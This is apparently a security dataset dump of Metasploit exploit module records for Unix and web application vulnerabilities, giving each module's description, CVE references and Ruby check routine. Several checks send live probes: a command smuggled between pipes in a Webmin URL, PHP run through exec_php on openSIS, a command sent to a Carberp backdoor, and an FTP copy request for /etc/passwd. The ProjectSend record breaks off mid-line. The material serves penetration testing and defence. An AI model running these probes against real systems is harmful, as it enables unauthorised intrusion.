deardaniel/secdata-raw huggingface dataset:
Metasploit Module: openSIS Unauthenticated PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/opensis_chain_exec.rb
Platform: php
Disclosure date: 2020-06-30
Authors: EgiX
References: URL-http://karmainsecurity.com/KIS-2020-06, URL-http://karmainsecurity.com/KIS-2020-07, URL-http://karmainsecurity.com/KIS-2020-08, CVE-2020-13381, CVE-2020-13382, CVE-2020-13383

Description:
This module exploits multiple vulnerabilities in openSIS 7.4 and prior versions
          which could be abused by unauthenticated attackers to execute arbitrary PHP code
          with the permissions of the webserver. The exploit chain abuses an incorrect access
          control issue which allows access to scripts which should require the user to be
          authenticated, and a Local File Inclusion to reach a SQL injection vulnerability which
          results in execution of arbitrary PHP code due to an unsafe use of the eval() function.

Check method (fingerprinting):
flag = rand_text_alpha(20..30)
    res = exec_php("print '#{flag}';")

    if res && res.code == 200 && res.body =~ /#{flag}/
      return Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    Exploit::CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: Project Pier Arbitrary File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/projectpier_upload_exec.rb
Platform: php
Disclosure date: 2012-10-08
References: CVE-2012-10036, OSVDB-85881, EDB-21929
Targets: Generic (PHP Payload), Linux x86

Description:
This module exploits a vulnerability found in Project Pier.  The application's
          uploading tool does not require any authentication, which allows a malicious user
          to upload an arbitrary file onto the web server, and then cause remote code
          execution by simply requesting it. This module is known to work against Apache
          servers due to the way it handles an extension name, but the vulnerability may
          not be exploitable on others.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'
    base = File.dirname("#{uri}.")

    res = send_request_cgi(
      {
        'method' => 'GET',
        'uri' => normalize_uri("#{base}/index.php"),
        'vars_get' =>
          {
            'c' => 'access',
            'a' => 'login'
          }
      }
    )

    if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: XODA 0.4.5 Arbitrary PHP File Upload Vulnerability
Type: exploit
Path: modules/exploits/unix/webapp/xoda_file_upload.rb
Platform: php
Disclosure date: 2012-08-21
References: CVE-2012-10045, OSVDB-85117, BID-55127, EDB-20703

Description:
This module exploits a file upload vulnerability found in XODA 0.4.5. Attackers
          can abuse the "upload" command in order to upload a malicious PHP file without any
          authentication, which results in arbitrary code execution. The module has been
          tested successfully on XODA 0.4.5 and Ubuntu 10.04.

Check method (fingerprinting):
uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1, 1] != '/'

    res = send_request_raw({
      'method' => 'GET',
      'uri' => "#{uri}?upload_to="
    })

    if res and res.code == 200 and res.body =~ /Upload a file/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: Webmin Upload Authenticated RCE
Type: exploit
Path: modules/exploits/unix/webapp/webmin_upload_exec.rb
Platform: unix
Disclosure date: 2019-01-17
References: CVE-2019-9624, EDB-46201, URL-https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html

Description:
This module exploits an arbitrary command execution vulnerability in Webmin
          1.900 and lower versions. Any user authorized to the "Upload and Download"
          module can execute arbitrary commands with root privileges.

          In addition, if the 'Running Processes' (proc) privilege is set the user can
          accurately determine which directory to upload to. Webmin application files
          can be written/overwritten, which allows remote code execution. The module
          has been tested successfully with Webmin 1.900 on Ubuntu v18.04.

          Using GUESSUPLOAD attempts to use a default installation path in order to
          trigger the exploit.

Check method (fingerprinting):
cookie = login
    return CheckCode::Detected('The target service was detected') if cookie == ''
    return CheckCode::Unknown('Could not determine the target status') if cookie.nil?

    vprint_status('Attempting to execute...')
    command = "echo #{rand_text_alphanumeric(0..9)}"

    res = send_request_cgi({
      'uri' => "#{target_uri}/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
      'cookie' => "sid=#{cookie}"
    })

    if res && res.code == 200 && res.message =~ /Document follows/
      return CheckCode::Vulnerable('The target is vulnerable')
    end

    CheckCode::Safe('The target is not vulnerable')
  end

  ##
  # Exploiting phase
  ##
Metasploit Module: ProjectSend Arbitrary File Upload
Type: exploit
Path: modules/exploits/unix/webapp/projectsend_upload_exec.rb
Platform: php
Disclosure date: 2014-12-02
References: CVE-2014-9567, EDB-35424

Description:
This module exploits a file upload vulnerability in ProjectSend
          revisions 100 to 561. The 'process-upload.php' file allows
          unauthenticated users to upload PHP files resulting in remote
          code execution as the web server user.

Check method (fingerprinting):
res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'process-upload.php')
    )
    if !res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    elsif res.code.to_i == 404
      vprint_error("No process-upload.php found")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code.to_i == 500
      vprint_error("Unable to write file")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code.to_i == 200 && res.body && res.body =~ /<\?php/
      vprint_error("File process-upload.php is not executable")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code.to_i == 200 && res.body && res.body =~ /sys\.config\.php/
      vprint_error("Software is misconfigured")
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif res.code.to_i == 200 && res.body && res.body =~ /jsonrpc/
      # response on revision 118 onwards includes the file name
      if res.body && res.body =~ /NewFileName/
        return Exploit::CheckCode::Vulnerable('The target is vulnerable')
      # response on revisions 100 to 117 does not include the file name
      elsif res.body && res.body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
        return Exploit::CheckCode::Appears('The target appears to be vulnerable')
      elsif res.body && res.body =~ /Failed to open output stream/
        vpri
Metasploit Module: Carberp Web Panel C2 Backdoor Remote PHP Code Execution
Type: exploit
Path: modules/exploits/unix/webapp/carberp_backdoor_exec.rb
Platform: php
Disclosure date: 2013-06-28
References: URL-http://www.xylibox.com/2013/06/carberp-remote-code-execution-carpwned.html

Description:
This module exploits backdoors that can be found all over the leaked
          source code of the Carberp botnet C2 Web Panel.

Check method (fingerprinting):
confirm_string = rand_text_alpha(8)
    cmd = "echo '#{confirm_string}';"
    shell = http_send_command(cmd)
    check_code = Exploit::CheckCode::Safe('The target is not vulnerable')

    if shell and shell.body.include?(confirm_string)
      check_code = Exploit::CheckCode::Vulnerable('The target is vulnerable')
    end

    check_code
  end
Metasploit Module: VSFTPD 2.3.4 Backdoor Command Execution
Type: exploit
Path: modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
Disclosure date: 2011-07-03
References: CVE-2011-2523, OSVDB-73573, URL-http://pastebin.com/AetT9sS5, URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

Description:
This module exploits a malicious backdoor that was added to the VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

Check method (fingerprinting):
# Check for backdoor first, else exploit will fail
    vprint_status("Checking if backdoor has already been triggered (else exploit will fail)")
    nsock = self.connect(false, { 'RPORT' => 6200 }) rescue nil
    if nsock
      print_error("The port used by the backdoor bind listener is already open/in-use (6200/TCP)")
      return Exploit::CheckCode::Unknown('Backdoor bind listener port 6200 is already open')
    end

    vprint_status("Connecting to FTP service")
    connect

    vprint_status("Checking FTP banner")
    banner = get_banner

    if banner.downcase.include?("vsftpd 2.3.4")
      print_status("FTP banner hints its vulnerable: #{banner.strip}")
    else
      vprint_status("FTP banner: #{banner.strip}")
    end

    ftp_user = rand_text_alphanumeric(rand(6) + 1)
    vprint_status("Trying to log into FTP (User: #{ftp_user})")
    sock.put("USER #{ftp_user}\r\n")
    resp = sock.get_once(-1, 30).to_s
    if resp =~ /^530 /
      print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
      return Exploit::CheckCode::Safe('Server configured for anonymous only, backdoor code unreachable')
    end

    if resp !~ /^331 /
      print_error("This server did not respond as expected: #{resp.strip}")
      return Exploit::CheckCode::Unknown("Unexpected FTP response: #{resp.strip}")
    end

    return Exploit::CheckCode::Appears('vsftpd 2.3.4 banner detected; backdoor may be present') if banner.downcase.include?("vsftpd 2.3.4")
Metasploit Module: ProFTPD 1.3.5 Mod_Copy Command Execution
Type: exploit
Path: modules/exploits/unix/ftp/proftpd_modcopy_exec.rb
Disclosure date: 2015-04-22
References: CVE-2015-3306, EDB-36742, URL-http://bugs.proftpd.org/show_bug.cgi?id=4169

Description:
This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5.
          Any unauthenticated client can leverage these commands to copy files from any
          part of the filesystem to a chosen destination. The copy commands are executed with
          the rights of the ProFTPD service, which by default runs under the privileges of the
          'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website
          directory, PHP remote code execution is made possible.

Check method (fingerprinting):
sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port)

    if sock.nil?
      return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    end

    vprint_status("#{rhost}:#{ftp_port} - Connected to FTP server")

    # Set 30 second timeout to allow remote server time to perform reverse DNS lookup
    res = sock.get_once(-1, 30)

    unless res && res.include?('220')
      return CheckCode::Safe("#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner")
    end

    sock.puts("SITE CPFR /etc/passwd\r\n")
    res = sock.get_once(-1, 10)

    if res.nil?
      return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server")
    end

    if res.include?("500 'SITE CPFR' not understood")
      return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command not supported")
    end

    if res.include?('530')
      return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command requires authentication.")
    end

    if res.include?('350')
      return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was successful")
    end

    CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command returned unexpected response")
  ensure
    sock.close unless sock.nil?
  end
Metasploit Module: ProFTPD 1.3.3c Backdoor Command Execution
Type: exploit
Path: modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
Disclosure date: 2010-12-02
References: CVE-2010-20103, OSVDB-69562, BID-45150

Description:
This module exploits a malicious backdoor that was added to the
          ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]
          archive between November 28th 2010 and 2nd December 2010.
Metasploit Module: Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution
Type: exploit
Path: modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb
Platform: unix
Disclosure date: 2014-02-03
References: CVE-2014-125121, OSVDB-104652, OSVDB-104653, OSVDB-104654

Description:
This module exploits a default hardcoded private SSH key or default hardcoded
          login and password in the vAPV 8.3.2.17 and vxAG 9.2.0.34 appliances made
          by Array Networks. After logged in as the unprivileged user, it's possible to modify
          the world-writable file /ca/bin/monitor.sh with attacker-supplied arbitrary code.
          Execution is possible by using the backend tool, running setuid, to turn the debug
          monitoring on. This makes it possible to trigger a payload with root privileges.
Metasploit Module: Tectia SSH USERAUTH Change Request Password Reset Vulnerability
Type: exploit
Path: modules/exploits/unix/ssh/tectia_passwd_changereq.rb
Platform: unix
Disclosure date: 2012-12-01
References: CVE-2012-5975, EDB-23082, OSVDB-88103, URL-https://seclists.org/fulldisclosure/2012/Dec/12

Description:
This module exploits a vulnerability in Tectia SSH server for Unix-based
          platforms.  The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
          before password authentication, allowing any remote user to bypass the login
          routine, and then gain access as root.

Check method (fingerprinting):
connect
    banner = sock.get_once.to_s.strip
    vprint_status("#{rhost}:#{rport} - Banner: #{banner}")
    disconnect

    # Vulnerable version info obtained from CVE
    version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
    build = version.split('.')[-1].to_i

    case version
    when /^6\.0/
      unless (4..14).include?(build) or (17..20).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.1/
      unless (0..9).include?(build) or build == 12
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.2/
      unless (0..5).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end

    when /^6\.3/
      unless (0..2).include?(build)
        return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not vulnerable")
      end
    else
      return Exploit::CheckCode::Safe("SSH Tectia version #{version} is not in the vulnerable range")
    end

    # The vulnerable version must use PASSWORD method
    user = Rex::Text.rand_text_alpha(4)
    transport, connection = init_ssh(user)
    return Exploit::CheckCode::Vulnerable("SSH Tectia version #{version} uses PASSWORD authentication") if is_passwd_method?(user, transport)

    return Exploit::CheckCode::Safe("SSH Tectia version #{version} does not use PASSWORD authentication")
  end
Metasploit Module: Arista restricted shell escape (with privesc)
Type: exploit
Path: modules/exploits/unix/ssh/arista_tacplus_shell.rb
Platform: linux
Disclosure date: 2020-02-02
Authors: Chris Anders
References: CVE-2020-9015, URL-http://www.securitybytes.me/posts/cve-2020-9015/, URL-https://nvd.nist.gov/vuln/detail/CVE-2020-9015

Description:
This exploit module takes advantage of a poorly configured TACACS+ config,
          Arista's bash shell and TACACS+ read-only account to privilage escalate.
          A CVSS v3 base score of 9.8 has been assigned.

Check method (fingerprinting):
opts = ssh_client_defaults.merge({
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      [CREDENTIAL_REDACTED]
    })

    begin
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return CheckCode::Safe('Connection failed')
    rescue Net::SSH::Disconnect, ::EOFError
      return CheckCode::Safe('SSH connection disconnected')
    rescue Timeout::Error
      return CheckCode::Safe('SSH connection timed out')
    rescue Net::SSH::AuthenticationFailed
      return CheckCode::Safe('SSH authentication failed')
    rescue Net::SSH::Exception
      return CheckCode::Safe('SSH connection error')
    end

    CheckCode::Detected('Successfully connected via SSH')
  end
Metasploit Module: DHCP Client Command Injection (DynoRoot)
Type: exploit
Path: modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb
Platform: unix
Disclosure date: 2018-05-15
References: CVE-2018-1111, EDB-44652, URL-https://github.com/kkirsche/CVE-2018-1111, URL-https://twitter.com/_fel1x/status/[PII_REDACTED]73882626?lang=en, URL-https://access.redhat.com/security/vulnerabilities/3442151, URL-https://dynoroot.ninja/, URL-https://nvd.nist.gov/vuln/detail/CVE-2018-1111, URL-https://www.tenable.com/blog/advisory-red-hat-dhcp-client-command-injection-trouble

Description:
This module exploits the DynoRoot vulnerability, a flaw in how the
          NetworkManager integration script included in the DHCP client in
          Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier
          processes DHCP options. A malicious DHCP server, or an attacker on
          the local network able to spoof DHCP responses, could use this flaw
          to execute arbitrary commands with root privileges on systems using
          NetworkManager and configured to obtain network configuration using
          the DHCP protocol.
Metasploit Module: Dhclient Bash Environment Variable Injection (Shellshock)
Type: exploit
Path: modules/exploits/unix/dhcp/bash_environment.rb
Platform: unix
Disclosure date: 2014-09-24
References: CVE-2014-6271, OSVDB-112004, EDB-34765, URL-https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/, URL-https://seclists.org/oss-sec/2014/q3/649, URL-https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

Description:
This module exploits the Shellshock vulnerability, a flaw in how the Bash shell
          handles external environment variables. This module targets dhclient by responding
          to DHCP requests with a malicious hostname, domainname, and URL which are then
          passed to the configuration scripts as environment variables, resulting in code
          execution. Due to length restrictions and the unusual networking scenario at the
          time of exploitation, this module achieves code execution by writing the payload
          into /etc/crontab and then cleaning it up after a session is created.
Metasploit Module: Pi-Hole Whitelist OS Command Execution
Type: exploit
Path: modules/exploits/unix/http/pihole_whitelist_exec.rb
Platform: linux
Disclosure date: 2018-04-15
References: CVE-2025-34087, URL-https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns

Description:
This exploits a command execution vulnerability in Pi-Hole <= 3.3.
          When adding a new domain to the whitelist, it is possible to chain
          a command to the domain that is run on the OS.

Check method (fingerprinting):
begin
      _version, web_version, _ftl = get_versions

      if web_version.nil?
        print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
        return Exploit::CheckCode::Unknown('Could not determine Pi-hole web interface version')
      end

      if web_version && Rex::Version.new(web_version) < Rex::Version.new('3.3')
        vprint_good("Web Interface Version Detected: #{web_version}")
        return CheckCode::Appears("Pi-hole web interface version #{web_version} appears vulnerable")
      else
        vprint_bad("Web Interface Version Detected: #{web_version}")
        return CheckCode::Safe("Pi-hole web interface version #{web_version} is not vulnerable")
      end
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Could not connect to the web service")
      return Exploit::CheckCode::Unknown('Connection to Pi-hole failed')
    end
  end
Metasploit Module: pfSense authenticated graph status RCE
Type: exploit
Path: modules/exploits/unix/http/pfsense_graph_injection_exec.rb
Platform: php
Disclosure date: 2016-04-18
References: CVE-2016-10709, EDB-39709, URL-http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

Description:
pfSense, a free BSD based open source firewall distribution,
          version <= 2.2.6 contains a remote command execution
          vulnerability post authentication in the _rrd_graph_img.php page.
          The vulnerability occurs via the graph GET parameter. A non-administrative
          authenticated attacker can inject arbitrary operating system commands
          and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
Metasploit Module: FreePBX firmware file upload
Type: exploit
Path: modules/exploits/unix/http/freepbx_firmware_file_upload.rb
Platform: php
Disclosure date: 2025-12-11
References: CVE-2025-66039, CVE-2025-61678, URL-https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/
Targets: PHP

Description:
The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri('admin', 'config.php'),
      'method' => 'GET'
    })

    if (res&.code == 401 && res.body.include?('FreePBX')) ||
       (res.code == 500)
      return CheckCode::Detected('The FreePBX with Webserver authentication mode detected')
    end

    CheckCode::Safe('Webserver authorization mode is not set')
  end
Metasploit Module: pfSense authenticated group member RCE
Type: exploit
Path: modules/exploits/unix/http/pfsense_group_member_exec.rb
Platform: unix
Disclosure date: 2017-11-06
References: CVE-2016-10709, EDB-43128, URL-https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc

Description:
pfSense, a free BSD based open source firewall distribution,
          version <= 2.3.1_1 contains a remote command execution
          vulnerability post authentication in the system_groupmanager.php page.
          Verified against 2.2.6 and 2.3.

Check method (fingerprinting):
begin
      res = send_request_cgi(
        'uri' => '/index.php',
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      if /Login to pfSense/ =~ res.body
        Exploit::CheckCode::Detected('pfSense login page detected')
      else
        Exploit::CheckCode::Safe('Target does not appear to be pfSense')
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end